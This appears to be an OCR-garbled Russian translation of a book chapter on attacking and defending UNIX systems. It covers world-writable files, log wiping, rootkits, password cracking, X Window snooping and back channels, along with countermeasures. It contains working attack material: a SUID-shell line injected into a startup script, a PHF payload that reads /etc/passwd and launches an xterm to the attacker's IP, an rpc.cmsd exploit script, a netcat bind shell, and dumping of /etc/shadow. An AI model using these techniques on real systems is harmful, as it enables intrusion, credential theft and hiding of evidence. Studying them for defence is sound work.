Общедоступные для записи файлы
Общедоступные для записи файлы
Еще одной типичной ошибкой в настройке является разрешение записи в важные файлы всем пользователям. Как и в случае файлов SUID, общедоступные для записи файлы создаются для удобства работы. Однако за это приходится расплачиваться понижением уровня защиты важной информации. Если администратор не замечает очевидных недостатков, то злоумышленники, как правило, находят их очень быстро. К файлам, которые часто открывают для всеобщего доступа, относятся системные файлы инициализации, важные системные конфигурационные файлы и пользовательские файлы запуска. Давайте рассмотрим некоторые примеры того, как взломщик может воспользоваться общедоступными для записи файлами, find / -perm -2 -type f -print
Данный синтаксис команды find позволяет найти общедоступные для записи файлы.
/etc/rc.d/rc3.d/S991ocal
/var/tmp
/var/tmp/.Xll-unix
/var/tmp/.Xll-unix/XO
/var/tmp/.font-unix
/var/lib/games/xgaIscores
/var/lib/news/innd/ctlinnda28392
/var/lib/news/innd/ctlinndal8685
/var/spool/fax/outgoing
/var/spool/fax/outgoing/locks
/home/public
[tsunami]$ echo "/bin/cp /bin/sh /trap/.sh ;
/bin/chmod 4755 /tmp/.sh"
\
/etc/re.d/rc3.d/S991ocal
При следующей перезагрузке системы в каталоге /tmp будет создан SUID-экземпляр командной оболочки. Второй возможный метод взлома заключается в использовании каталога /home/public. Поскольку он открыт для записи, с помощью команды mv взломщик может перезаписать любой файл из этого каталога. Это оказывается возможным, поскольку права доступа к каталогу перекрывают права доступа к отдельным файлам этого каталога. Скорее всего, типичный взломщик перепишет файлы запуска пользовательских экземпляров командной оболочки (например. . login или .bashrc), в которых будет создан файл SUID. После того как кто-нибудь использует учетную запись public для регистрации в системе, командная оболочка с правами суперпользователя будет ожидать взломщика.
Очистка системных журналов
Очистка системных журналов
Не желая предоставлять вам (а тем более — правоохранительным органам) каких-либо сведений о факте получения доступа к системе, взломщик, как правило, постарается очистить системные журналы от следов своего присутствия. В настоящее время существует много утилит очистки журналов, которые в большинстве случаев входят в набор отмычек. К таким программам, в частности, относятся zap, wzap, wted и remove. Однако обычно вполне достаточно даже простого текстового редактора, такого как vi или emacs.
Конечно, при удалении следов своей деятельности первый шаг злоумышленника заключается в изменении системных журналов регистрации. Для определения соответствующей методики достаточно взглянуть на конфигурационный файл /etc/syslog.conf. Например, из показанного ниже файла syslog.conf видно, что большинство системных журналов регистрации находится в каталоге /var/log/.
[quake]# cat /etc/syslog.conf
# Регистрация всех консольных сообщений уровня ядра.
# В процессе регистрации экран сильно
засоряется избыточной информацией.
#kern.* /dev/console
# Регистрация всех сообщений
(кроме почтовых) уровня info или выще.
# Не пытайтесь регистрировать
сообщения личной аутентификации!
#.info;mail.none;authpriv.none /var/log/messages
# Доступ к файлу authpriv ограничен.
authpriv.* /var/log/secure
# Регистрация всех почтовых сообщений в одном файле.
mail.* /var/log/maillog
# Everebody получает сообщения об опасности, плюс их регистрация
# на другой машине.
# . erne r g *
# Сохранение сообщений об ошибках почты и новостей уровня err и выше
# в специальном файле.
uucp,news.crit /var/log/spooler
Взломщику понадобится изменить много файлов, в том числе messages, secure, wtmp и xf erlog. Поскольку журнал wtmp имеет двоичный формат (и обычно используется только командой who), для его изменения взломщик, как правило, прибегнет к помощи одной из отмычек. Программа wzap предназначена специально для удаления из этого журнала информации о заданном пользователе. Для того чтобы воспользоваться этой программой, достаточно ввести, например, следующую команду.
[quake]# who./wtmp
joel ftpd!7264 Jul 1 12:09 (172.16.11.204)
root ttyl Jul 4 22:21
root ttyl Jul 9 19:45
root ttyl Jul 9 19:57
root ttyl Jul 9 21:48
root ttyl Jul 9 21:53
root ttyl Jul 9 22:45
root ttyl Jul 10 12:24
joel ttyl Jul 11 09:22
stuman ttyl Jul 11 09:42
root ttyl Jul 11 09:42
root ttyl Jul 11 09:51
root ttyl Jul 11 15:43
joel ftpd841 Jul 11 22:51 (172.16.11.205)
root ttyl Jul 14 10:05
joel ftpd3137 Jul 15 08:27 (172.16.11.205)
joel ftpd82 Jul 15 17:37 (172.16.11.205)
joel ftpd945 Jul 17 19:14 (172.16.11.205)
root ttyl Jul 24 22:14
[quake]# /opt/wzap
Enter username to zap from the wtmp: joel
opening file...
opening output file...
working...
[quake]# who ./wtmp.out
root ttyl Jul 4 22:21
root ttyl Jul 9 19:45
root ttyl Jul 9 19:57
root ttyl Jul 9 21:48
root ttyl Jul 9 21:53
root ttyl Jul 9 22:45
root ttyl Jul 10 12:24
stuman ttyl Jul 11 09:42
root ttyl Jul 11 09:42
root ttyl Jul 11 09:51
root ttyl Jul 11 15:43
root ttyl Jul 14 10:05
root ttyl Jul 24 22:14
root ttyl Jul 24 22:14
Одним из последних этапов очистки журналов является удаление данных об использованных командах. Многие командные оболочки UNIX ведут журналы введенных ранее команд (history), что обеспечивает дополнительные удобства при повторном вводе команд. Например, оболочка BASH (Bourne again shell) (/bin/bash) сохраняет соответствующий файл в рабочем каталоге пользователя (во многих случаях и в каталоге пользователя root). Этот файл журнала, содержащий список недавно введенных команд, называется .bash_history. Обычно перед тем, как покинуть систему, злоумышленник очищает этот журнал. Например, в файле .bash_history может содержаться следующая информация.
tail -f /var/log/messages
vi chat-ppp0
kill -.9 1521
logout < здесь находятся записи о регистрации злоумышленника и начале его
работы >
id pwd
cat /etc/shadow » /tmp/.badstuff/sh.log
cat /etc/hosts » /tmp/.badstuff/ho.log
cat /etc/groups » /tmp/.badstuff/gr.log
netstat -na » /tmp/.badstuff/ns.log
arp -a » /tmp/.badstuff/a.log
/sbin/ifconfig » /tmp/.badstuff/if.log
find / -name -type f -perm -4000 »
/tmp/.badstuff/suid.log
find / -name -type f -perm -2000 »
/tmp/.badstuff/sgid.log
unset HISTFILE; unset SAVEHIST
[rumble]# In -s /dev/null ~/.bash_history
[rumble]# Is -1 .bash_history
Irwxrwxrwx 1 root root 9 Jul 26 22:59 .bash_history ->
/dev/null
Контрмеры: защита от очистки журналов
Файлы журналов очень важно сохранять на таком носителе, на котором их трудно было бы модифицировать. К таким носителям, в частности, относятся файловые системы, поддерживающие расширенные атрибуты, такие как флаг "только для добавления" (append-only). Таким образом, в каждый файл журнала будет только дописываться новая информация, и злоумышленники не смогут ее изменить. Однако это вовсе не панацея, поскольку существует вероятность того, что при наличии времени, желания и соответст-вуюшего опыта злоумышленник сможет обойти этот механизм. Второй метод заключается в регистрации важных событий на защищенном узле. Одним из примеров реализации такого подхода является применение безопасной утилиты syslog компании Core Labs (http://www.core-sdi.com/english/freesoft.html). В этой утилите алгоритмы шифрования используются наряду с возможностью удаленной регистрации событий, что позволяет защитить самые важные журналы. Помните, что если злоумышленнику удалось проникнуть в вашу систему, то к имеющимся журналам нужно относиться с осторожностью, поскольку ему ничего не стоит их подделать.
Окно xterm появившееся в результате
Рисунок 8.2. Окно xterm, появившееся в результате использования утилиты cmsd. Этого же результата можно достигнуть при использовании служб rpc. ttdbserverd или rpc. statd
#!/bin/sh
if [ $# -It 4 ]; then
echo "Rpc.cmsd buffer overflow for
Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip 1grep
100068 = true - you win!"
echo "Don't forget to xhost+ the target system"
echo ""
echo "Usage: $0 target_hostname target_ip <
0/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit..."
cmsd -h $1 -c "/usr/openwin/bin/xterm -display
$4:0.0 &" $3 $2
Операции в системе X
Операции в системе X
После того как взломщик получил возможность выполнять команды на Web-сервере, используя недостатки в реализации PHF, первым из методов, которыми он воспользуется для получения интерактивного доступа к командной оболочке, будет применение средств X Window системы UNIX (далее — просто X). X — это система оконного интерфейса, которая позволяет разным программам использовать один и тот же графический дисплей. Система X чрезвычайно устойчива и позволяет поддерживающим ее клиентным программам отображать свои результаты на локальном или на удаленном сервере X (с использованием портов 6000-6063). Один из самым удобных для взломщика инструментов в этом случае является клиентная программа xterm. Эта программа предназначена для запуска локальной командной оболочки, работающей под управлением X. Однако, применив параметр -display, взломщик может перенаправить командную оболочку на сервер X собственного компьютера. Вот так — быстро и просто.
Давайте посмотрим, как с использованием изъяна PHF злоумышленник может получить результаты, выходящие за рамки простого отображения содержимого файла passwd. Как вы помните, для достижения последнего результата использовалась следующая команда. /cgi-bin/phf?Qalias=x%0a/bin/cat/%20/etc/passwd
Поскольку на Web-сервере взломщик может выполнять любые удаленные команды, то немного модифицированный вариант позволит получить и интерактивный доступ к командной оболочке. Все, что для этого нужно сделать, — это заменить команду /bin/cat /etc/passwd командой /usr/X11R6/bin/xterm-ut -display IР_хакера : 0 . 0, как показано ниже.
/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/
xterm%20-ut%20-display IР_хакера:0.0
Это приведет к тому, что удаленный сервер запустит xterm и выведет окно на X-сервере хакера, имеющего IP-адрес 1Р_хакера, с идентификатором окна 0 и идентификатором экрана 0. С этого момента в руках взломщика окажется полный контроль над целевым компьютером. Кроме того из-за использования параметра -ut это событие не будет зарегистрировано системой. Кроме того, используемые в команде символы %20 представляют собой шестнадцатеричное представление символов пробела, с помощью которых параметры отделяются друг от друга (для получения более подробной информации воспользуйтесь командой man ascii). Таким образом, взломщик получил интерактивный доступ к командной оболочке без регистрации любой службой Web-сервера. Кроме того, вы, должно быть, обратили внимание на то, что в команде использован полный путь к исполняемому файлу xterm. Это сделано для того, чтобы обеспечить запуск программы независимо от того, правильно ли установлена переменная окружения PATH. Применение полного имени файла гарантирует безусловный запуск соответствующей программы.
Отключение неиспользуемых или потенциально опасных служб
Отключение неиспользуемых или потенциально опасных служб
На протяжении этой главы мы будем возвращаться много раз к этому вопросу. Если какие-то неиспользуемые или потенциально опасные службы не являются жизненно необходимыми для работы системы UNIX, отключите их. Помните, что ни один злоумышленник не может проникнуть в систему через неработающую службу. Кроме того, мы настоятельно рекомендуем использовать TCP-оболочки (tcpd) и xinetd (http://www. synack.net/xinetd/) для того, чтобы можно было применить избирательные списки управления доступом на уровне служб, а также воспользоваться дополнительным возможностями регистрации событий. Конечно, не к каждой службе можно применить оболочку. Однако применение этого средства лишь к некоторым службам может значительно повысить защищенность вашей системы. Кроме того, оцените возможность использования режима фильтрации пакетов на уровне ядра, поддержка которого уже стала стандартной для большинства бесплатных операционных систем UNIX (например, ipchains или netf liter для Linux, ipf для BSD). Хорошие рекомендации по использованию ipchains для обеспечения безопасности можно найти по адресу http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html. Пакет ipf Даррена Рида (Darren Reed) является одним из лучших и может быть добавлен во многие версии системы UNIX. Для получения об этом пакете более подробной информации обращайтесь по адресу http: //www.obfuscation. rg/ ipf / ipf-howto. html.
Отключение режима поддержки выполнения стека
Отключение режима поддержки выполнения стека
Некоторые радетели чистоты нередко прибегают даже к отключению режима поддержки выполнения стека (stack execution), чтобы обеспечить защиту каждой программы от взлома с помощью переполнения буфера. Хотя такое решение может привести к некоторым побочным эффектам, в большинстве систем оно все же обеспечивает защиту от скрытого использования уязвимых мест. Для Linux имеется модуль обновления, позволяющий отключить режим поддержки выполнения стека, который можно применять в системах с ядром версий 2.0.x и 2.2.x Первым разработал такой модуль хакер Solar Desinger (http://www.false.com). Этот модуль обновления, ценный в основном для программистов, можно найти по адресу http: //www. openwall. com/linux/.
Для системы Solaris версии 2.6 и 7 мы настоятельно рекомендуем включить поддержку режима, запрещающего выполнение стека (no-stack execution). Это позволит обезопасить систему Solaris от применения множества методов взлома, приводящих к переполнению буфера. Хотя прикладной двоичный интерфейс (ABI — Application Binary Interface) компаний Intel и SPARC позволяет выполнять код, находящийся в сегменте стека, большинство программ будет работать вполне корректно даже при отключенном стеке. По умолчанию в системах Solaris 2.6 и 7 режим выполнения стека включен. Для того чтобы отключить поддержку этого режима, добавьте следующую строку в файл /etc/system file.
set noexec_user_stack=l
set noexec_user_stack_log=l
Помните, что запрещение выполнения стека — не панацея. Отключив этот режим, обычно можно зарегистрировать любую программу, которая попытается выполнить код. помещенный в стек, и таким образом можно остановить взломщиков с низкой квалификацией. Однако опытные взломщики чрезвычайно изобретательны и вполне могут написать код (и воспользоваться им), который приведет к переполнению буфера с последующим взломом системы, несмотря на то, что в ней запрещено выполнение стека.
В то время как многие администраторы изо всех сил пытаются предотвратить переполнение стека, отключив режим выполнения помещенного в него кода, их подстерегают другие опасности, причиной которых является несовершенный код. В наши планы не входит подробное рассмотрение этого вопроса. Достаточно лишь сказать, что переполнение в свободной памяти (которая называется также кучей (heap) или динамической памятью) также может оказаться достаточно опасным. В этом случае переполняется память, динамически распределенная приложением. Такой тип переполнения отличается от переполнения стека, зависящего от длины фиксированного буфера. К сожалению, разработчики программного обеспечения, как правило, не предусматривают аналогичного параметра, позволяющего запретить выполнение стека. Таким образом, просто запретит) выполнение кода, помешенного в стек, нельзя обеспечить достаточно высокий уровень зашиты. Дополнительную информацию о переполнении динамической памяти можно найти в результатах исследований группы w00w00 по адресу http://www.w00w30.org/files/heaptut/heaptut.txt.
Отмычки
Отмычки
Поскольку взломанная система представляет собой ценность для злоумышленника прежде всего как плацдарм для проникновения в другие компьютеры, для него очень важно разместить на взломанной машине и как можно лучше спрятать свой "набор отмычек". Такой набор для системы UNIX обычно состоит их четырех групп инструментов, адаптированных под конкретную платформу и версию операционной системы: (1) программы типа "троянский конь", например такие, как измененные версии login, netstat и ps; (2) программы, предназначенные для создания "потайных ходов", например, вставки inetd; (3) программы перехвата потока данных в сети; (4) программы очистки системных журналов.
Подбор паролей
Подбор паролей
Обсуждение возможных методов взлома системы UNIX мы начнем с одного из самых популярных — подбора пароля путем простого перебора всех возможных вариантов, т.е. атаки "в лоб" (brute force attack). Такой подход может претить эстету хакинга, но, так или иначе, он был и остается одним из самых эффективных способов получения доступа к системе UNIX. Взлом путем перебора представляет собой не что иное, как подбор комбинации "идентификатор UID/пароль" для получения доступа к службе, которая до предоставления определенных привилегий выполняет аутентификацию пользователя. Среди самых популярных типов служб, которые чаще всего подвергаются подобным атакам можно выделить следующие.
telnet
FTP (File Transfer Protocol)
r-утилиты (rlogin, rsh и т.д.)
Secure Shell (ssh)
Имена доступа SNMP
POP (Post Office Protocol)
HTTP/HTTPS (Hyper Text Transport Protocol)
Как вы помните из предыдущих глав, посвященных исследованию сети и инвентаризации сетевых ресурсов, одной из самых главных задач, которые необходимо решить взломщику на этом этапе, — это установить реальные идентификаторы пользователей системы. С этой целью могут использоваться такие службы, как finger, rusers и sendmail. Получив список пользовательских учетных записей, взломщик может попытаться получить доступ к интересующей его системе путем подбора пароля к одной из этих учетных записей. К сожалению, многие пользовательские учетные записи защищаются либо с помощью легко угадываемого пароля, либо вовсе не имеют пароля. Самым лучшим примером этого правила является учетная запись рядового пользователя, в которой, как правило, пользовательское имя и пароль идентичны. Чем больше пользователей имеют доступ к системе, тем больше вероятность, что в ней найдется по крайней мере один такой пользователь. Можете поверить нам на слово, на своем веку мы встречали тысячи подобных случаев, занимаясь проверкой безопасности разных компаний. Почему же это явление столь распространено? Все очень просто: во-первых, люди не задумываются о том, как нужно выбирать пароли, а во-вторых, от них никто этого не требует.
Хотя пароль можно подобрать вручную, зачастую для этого применяются утилиты, автоматизирующие этот процесс. Среди многочисленных общедоступных утилит такого рода можно выделить следующие.
Brutus (http://www.hoobie.net/brutus/)
brute_web.c (http: //packetstorm.securify.com/
Exploit_Code_Archive/brute_web.с)
pop.с (http://packetstorm.securify.com/
groups/ADM/ADM-pop.c)
middlefinger (http://www.njh.com/latest/9709/970916-05.html)
TeeNet (http://www.phenoelit.de/tn/)
Поиск неправильно выбранных паролей
Поиск неправильно выбранных паролей
Как уже отмечалось выше, после того, как взломщику удалось получить доступ, самую большую угрозу для безопасности представляют собой легко угадываемые пароли. Не имеет значения, идет ли речь об удаленном или локальном доступе — неправильно выбранные пароли представляют собой одно из самых слабых мест системы защиты. Ввиду того что выше мы уже указывали на основные проблемы, связанные с выбором паролей, здесь мы остановимся в основном на изучении методов взлома.
Взлом пароля часто заключается в использовании процедуры, называемой автоматизированный взлом с помощью словаря (automated dictionary attack). Взлом простым перебором (brute force attack) чаше всего рассматривается как метод активного взлома, тогда как автоматизированный взлом с помощью словаря может происходить без наличия соединения и является пассивным. Чаще всего этот метод взлома используется именно при наличии локального доступа, поскольку злоумышленнику необходимо получить доступ к файлу /etc/passwd или файлу паролей /etc/shadow. Иногда удается получить копию такого файла и при удаленном доступе (например, с использованием протоколов TFTP или HTTP). Однако, на наш взгляд, лучше всего рассматривать взлом паролей именно как один из методов локального взлома. Он отличается от метода взлома простым перебором тем, что в данном случае злоумышленник при подборе пароля не пытается получить доступ к службе, работающей на уровне полномочий суперпользователя, или воспользоваться командой su. Вместо этого он пытается подобрать пароль к определенной учетной записи, шифруя различные слова или случайным образом сгенерированный текст и сравнивая результаты с зашифрованным паролем, полученным из файла паролей.
Если хэш-код зашифрованного пароля соответствует хэш-коду, сгенерированному программой взлома, значит, пароль успешно взломан. Как видите, в этом процессе нет ничего сложного, — если вы знаете две составляющие из трех, вы можете вычислить недостающие данные. Нам либо известно слово из словаря часто используемых паролей, либо известен случайным образом сгенерированный текст (назовем такие слово или текст исходными данными). Мы также знаем алгоритм хэширования (обычно для этого используется стандарт DES — Data Encryption Standard). Таким образом, если хэш-код исходных данных, полученный путем применения заданного алгоритма, соответствует хэш-коду пароля определенного пользователя, значит, в качестве исходных данных мы использовали текст, являющийся паролем этого пользователя. Этот процесс показан на Рисунок 8.4.
Популярные анализаторы
Популярные анализаторы
В табл. 8.2 приведен не претендующий на полноту перечень инструментальных средств, с которыми нам приходилось сталкиваться и работать чаще всего на протяжении всех тех лет, которые мы посвятили деятельности по оценке уровня безопасности сетей.
Практика безопасного кодирования
Практика безопасного кодирования
Лучшим методом зашиты от переполнения буфера является практика кодирования, учитывающего все требования обеспечения безопасности. Хотя на практике невозможно спроектировать и запрограммировать систему таким образом, чтобы в ней не было ни одной ошибки, существуют подходы, способные минимизировать вероятность возникновения переполнения буфера. Среди таких рекомендаций можно выделить следующие.
При проектировании программы всегда оценивайте ее с точки зрения безопасности. К сожалению, зачастую программы создаются наспех, чтобы успеть к поставленному сроку. В таких ситуациях безопасность — это последнее, о чем думают разработчики. При этом поставщики программного обеспечения даже не беспокоятся о том, чтобы своевременно устранять изъяны по мере их обнаружения. Более подробная информация по этому вопросу приведена в разделе Secure UNIX Program по адресу http://www.whitefang.com/sup/index.html.
Рассмотрите возможность использования безопасного компилятора, такого, например, как StackGuard, разработанного в рамках проекта Immunix . В этом компиляторе используется подход, заключающийся в "вакцинации" программ во время компиляции, что позволяет свести к минимуму риск возникновения переполнения буфера. Кроме того, к механизмам защиты относится динамическая библиотека libsafe, предназначенная для перехвата вызовов уязвимых функций на уровне операционной системы. Помните о том, что подобные механизмы нельзя рассматривать как "серебряную пулю", так что при их использовании все же не стоит забывать о необходимости обеспечения безопасности.
Нужно проверять все аргументы, получаемые от пользователя или какой-либо программы. Такая проверка, конечно, может замедлить некоторые приложения, но это не очень высокая цена за безопасность. При проведении проверки особое внимание необходимо уделять принадлежности используемых значений корректным диапазонам, особенно для переменных окружения.
Используйте безопасные процедуры, такие как fget(), strncpy() и strncat () и проверяйте коды возврата системных вызовов.
Уменьшите количество кода, запускаемого с привилегиями root. Этого можно достичь за счет минимизации использования программ, которым требуются права SUID суперпользователя. Если даже злоумышленнику удастся успешно применить к такой программе атаку с переполнением стека, то ему все равно придется повышать полученные привилегии до уровня root.
И наконец, применяйте все модули обновления, предоставляемые поставщиком программного обеспечения.
Права доступа к файлам и каталогам
Права доступа к файлам и каталогам
Простота и мощь системы UNIX основывается на реализованном в ней механизме использования файлов. Независимо от того, являются ли они двоичными исполняемыми программами, текстовыми конфигурационными файлами или устройствами, все эти объекты представляют собой файлы с соответствующими правами доступа. Если система разрешений недостаточно хорошо реализована или намеренно изменена администратором, безопасность системы может быть значительно снижена. Ниже описаны два самых распространенных недостатка в процедурах администрирования, которые заключаются в установке для файлов флага SUID, а также в создании файлов, общедоступных для записи. Из-за ограничений на объем книги проблемы обеспечения безопасности устройств (/dev) подробно не рассматриваются, однако это вовсе не означает, что к ним можно применять менее строгие защитные меры. Злоумышленник, который может создавать устройства или получать права чтения/записи важнейших системных ресурсов, таких как /dev/kmem, практически гарантированно сможет получить доступ на уровне суперпользователя.
Права root получены — что дальше?
Права root получены — что дальше?
Когда уровень адреналина, выброшенного при попытках получить доступ в качестве суперпользователя, возвращается к норме, у взломщика начинается реальная работа. Он будет открывать и просматривать все файлы в поисках интересующей его информации, устанавливать программы перехвата паролей регистрации, telnet, ftp, smtp и snmp, а затем начнет охоту за новой жертвой, используя ваш компьютер в качестве плацдарма. Однако все эти действия предсказуемы и, как правило, сводятся к размещению на взломанном компьютере "набора отмычек" (rootkit).
Проблемы обработки сигналов
Проблемы обработки сигналов
В системе UNIX сигналы (signal) обеспечивают механизм, используемый для извещения процесса о том, что возникло какое-то определенное условие. Кроме того, с помощью сигналов обрабатываются асинхронные события. Например, когда пользователь хочет приостановить работу выполняющейся программы, он нажимает комбинацию клавиш <Ctrl-t-Z>. При этом всем активным процессам (foreground) рассылается сигнал SIGTSTP. Таким образом, с помощью сигналов изменяется ход выполнения программы. Как и раньше, выражение "изменяется ход выполнения программы" должно вызвать у вас мгновенную реакцию, так как такие действия обычно таят в себе угрозу для безопасности. Действительно, возможность влиять на ход выполнения работающей программы — одна из самых важных проблем в обеспечении безопасности обработки сигналов. Если бы дело ограничивалось лишь сигналом SIGTSTP, это было бы не столь критично, однако в действительности для подобных целей может использоваться свыше 30 сигналов, что, как вы понимаете, представляет собой сложную проблему.
Примером взлома защиты с использованием обработки сигналов может послч'жить обнаруженный в конце 1996 года изъян в системе обработки сигналов программы wu-f tpd v2.4. Этот изъян позволял как обычным, так и анонимным пользователям получать доступ к файлам в качестве суперпользователя. Это оказалось возможным из-за ошибки в сервере FTP, связанной с обработкой сигналов. При запуске FTP-сервер устанавливал два обработчика сигналов. Первый из них использовался для обработки сигналов SIGPIPE при закрытии управляющего порта или порта данных, а второй — для обработки сигналов SIGURG, поступающих при обнаружении команды ABOR, предназначенной для аварийного прекращения передачи. Обычно, когда пользователь регистрируется на сервере FTP, сервер запускается в контексте действующего UID пользователя, а не на уровне суперпользователя. Однако если соединение, по которому передаются данные, неожиданно закрывается, FTP-серверу отправляется сигнал SIGPIPE, после чего FTP-сервер вызывает функцию dologouto и повышает свой уровень привилегий до уровня суперпользователя (UID 0)! Сервер добавляет в файл системного журнала запись об отключении пользователя, закрывает файл журнала xferlog, удаляет пользовательский экземпляр сервера из таблицы процессов и завершает свою работу. Именно в этот момент сервер и изменяет свой действующий UID на 0, что повышает уязвимость системы в случае взлома. Взломщик может отправить FTP-серверу сигнал SIGURG, пока его действующий UID равен 0, прервать сервер, когда он пытается отключить пользователя, а потом заставить его снова вернуться обратно в режим обработки поступающих команд. Таким образом, здесь можно говорить о возникновении гонки на выживание, поскольку взломщику необходимо успеть выдать сигнал SIGURG после того, как сервер изменит свой UID на 0, но до отключения пользователя. Если взломщику это удастся (пусть и не с первой попытки), он останется подключенным к FTP-серверу, но уже с полномочиями суперпользователя! Это позволит ему получить или отправить любой файл, а также выполнять команды с привилегиями root.
Проблемы защиты системы X
Проблемы защиты системы X
Система X Window предоставляет богатый набор функций, позволяющий многим программам одновременно использовать один и тот же графический дисплей. Но с точки зрения безопасности самой большой проблемой системы X Windows является реализованная в ней модель защиты, которую коротко можно охарактеризовать так: "Все или ничего". После того как клиент получил доступ к Х-серверу, ему выдается полная индульгенция. Клиенты X могут перехватывать нажатия клавиш на пользовательской консоли, закрывать окна, захватывать любые окна сервера и отображать их содержимое где угодно, и даже переключать клавиатуру на свою, независимо от того, какие клавиши нажимает пользователь. Многие проблемы основываются на слабой парадигме управления доступом или полном равнодушии системного администратора. Самой простой и популярной формой управления доступом к X является аутентификация с использованием команды xhost. Данный механизм обеспечивает управление доступом на основе IP-адреса и является при этом наиболее слабой формой аутентификации. Для удобства работы системный администратор может ввести команду xhost +, что позволит получить доступ к Х-серверу без какой-либо аутентификации любому локальному или удаленному пользователю (при использовании параметра + доступ к серверу разрешен для всех узлов). Что еще хуже, многие Х-серверы, работающие на платформе PC, по умолчанию настроены именно на использование команды xhost +, подвергая тем самым огромной опасности ничего не подозревающих пользователей. Как вы понимаете, этим, казалось бы незначительным, недостатком могут воспользоваться злоумышленники.
Одной из лучших программ, предназначенной для идентификации Х-серверов, у которых включен режим xhost +, является утилита xscan. С ее помощью можно выполнить сканирование всей подсети, найти в ней открытые Х-серверы и записать все нажатия клавиш в файл журнала.
[tsunami]$ xscan quake
Scanning hostname quake ...
Connecting to quake (192.168.1.10) on port 6000...
Connected.
Host quake is running X.
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0...
[tsunami]$ tail -f KEYLOG.quake:0.0
su -
[Shift_L]Iamowned[Shift_R]!
Также просто определить, какие окна открыты на взломанной системе. Для этого взломщик сначала должен установить шестнадцатеричное значение идентификатора окна с помощью команды xlwins.
[tsunami]! xlswins -display quake:0.0 Igrep -i netscape
0x1000001 (Netscape)
0x1000246 (Netscape)
0x1000561 (Netscape: OpenBSD)
[tsunami]# xwatchwin quake -w 0x1000561
Указывая идентификаторы окон, можно просматривать их содержимое на своем компьютере, незаметно наблюдая за всеми действиями, которые выполняет пользователь.
Даже если на взламываемом компьютере включен режим xhost -, взломщик может получить копию экрана консоли сеанса пользователя с помощью утилизы xwd. Для этого достаточно, чтобы у взломщика был локальный доступ к командной оболочке, а на взламываемом сервере использовалась лишь стандартная аутентификация xhost.
[quake]$ xwd -root -display localhost:0.0 > dump.xwd
Теперь, чтобы увидеть копию экрана, просто скопируйте файл на свой компьютер, воспользовавшись утилитой xwud.
[tsunami]# xwud -in dump.xwd
На этом перечень возможностей взломщика далеко не исчерпан. Он может, например, просто связать эмулятор клавиатуры KeySym с требуемым окном. После этого нажатия клавиш на клавиатуре злоумышленника будут отправляться программе xterm удаленной системы и обрабатываться так, как если бы они вводились на локальной клавиатуре этой системы.
Процесс подбора пароля
Рисунок 8.4. Процесс подбора пароля
Из всего многообразия программ, предназначенных для взлома паролей, можно выделить Crack 5.0а Алека Маффета (Alec Muffett) и John the Ripper. Программа Crack 5.0л, которую для краткости мы будем называть просто Crack, является, пожалуй, самой популярной программой взлома паролей. К тому же она постоянно совершенствуется, а ее весьма обширный словарь, содержащий очень широкий спектр возможных паролей — от ненормативной лексики до названий из сериала Star Trek, — постоянно пополняется. Crack поддерживает даже возможность распределения вычислений, предназначенных для взлома пароля, на нескольких компьютерах. Программа John the Ripper, или просто John, является более новой, чем Crack 5.0a. Ее отличительная особенность заключается в высокой степени оптимизации для взлома максимально возможного количества паролей за минимальное время. Кроме того, John поддерживает больше алгоритмов хэширования, чем Crack. Обе программы позволяют проверять не только слова, находящиеся в словаре, но и их модификации. По умолчанию в состав каждого из этих двух инструментов входит более 2400 правил, которые можно применить к словарю для подбора паролей, которые, казалось бы, очень трудно взломать. В комплект поставки обеих программ входит обширная документация, с которой мы настоятельно рекомендуем ознакомится. Чтобы не рассматривать все возможные параметры и режимы работы этих программ, мы покажем, как запустить Crack на выполнение и прокомментируем полученные результаты. Для этого вам необходимо знать структуру файла паролей. Если вы недостаточно владеете данным вопросом, обратитесь к хорошей книге по UNIX.
Программы типа "троянский конь"
Программы типа "троянский конь"
После того как взломщик получит права суперпользователя, он может "троянизировать" практически любую команду операционной системы. Именно поэтому так важно проверять размер, а также дату и время создания и модификации всех двоичных файлов, особенно тех, которые используются чаще всего,— login, su, telnet, ftp, passwd, netstat, ifconfig, Is, ps, ssh, find, du, df, sync, reboot, halt, shutdown и т.д.
Например, часто используемым "троянским конем", входящим во многие комплекты отмычек, является "препарированная" версия программы login. Эта программа не только осуществляет регистрацию пользователей в системе, как и обычная команда login, но еще и записывает имена пользователей и пароли в отдельный файл. Существует также "препарированная" версия ssh, которая также выполняет подобные операции.
Другие программы типа "троянский конь" создают потайные ходы в систему, запуская программы, ожидающие поступления определенных данных через порт TCP и, в случае поступления таких данных, предоставляющие скрытый доступ к командной оболочке UNIX. Например, команда Is может проверять наличие ранее запущенных "троянских коней" и, если таковых не обнаруживается, запускать специальным образом подготовленную программу netcat, которая, в свою очередь, запустит оболочку /bin/sh, как только злоумышленник подключится к определенному порту. Например, в следующем примере показано, как программа netcat, запушенная в фоновом режиме, настраивается на прослушивание порта TCP с номером 222, а после подключения устанавливает ответный сеанс с помощью /bin/sh.
[tsunami]! nohup nc -1 -p 222 -nw -e /bin/sh &
listening on [any] 222 ...
[rumble]# nc -nw 24.8.128.204 222
(UNKNOWN) [192.168.1.100] 222 (?) open
cat /etc/shadow
root:ar90alrR10r41:10783:0:99999:7:-l:-l:134530596
bin:*:10639:0:99999:7:::
daemon:*:10639:0:99999:7:::
adm:*:10639:0:99999:7:::
Постоянный мониторинг и тщательная инвентаризация всех открытых портов может воспрепятствовать попыткам нарушений безопасности такого рода, однако лучшим методом является предупреждение возможности модификации двоичных файлов.
Реверсивный сеанс telnet и обратные каналы
Реверсивный сеанс telnet и обратные каналы
Безусловно, программа xterm представляет собой самое простое средство получения контроля над системой UNIX. Однако как быть в том случае, если об этом знает не только злоумышленник, но и администратор, удаливший систему X? Эта мера, конечно же, повысит безопасность системы UNIX, но одной ее недостаточно, так как в распоряжении потенциального взломщика остается еще много других методов получения несанкционированного доступа. Одним из таких методов, в частности, является создание обратных каналов. В данном случае термин обратный канал (back channel) применяется для описания механизма, с помощью которого коммуникационный канал создается по направлению от взламываемого узла к компьютеру взломщика, а не наоборот, как при использовании обычных коммуникационных каналов. Нужно напомнить, что в рассматриваемом примере взломщик не может получить интерактивный доступ к командной оболочке обычным способом, так как все порты, кроме 80 и 443, блокируются брандмауэром. Таким образом, злоумышленник должен добиться того, чтобы взламываемый сервер инициировал сеанс с его компьютером, т.е. создать обратный канал.
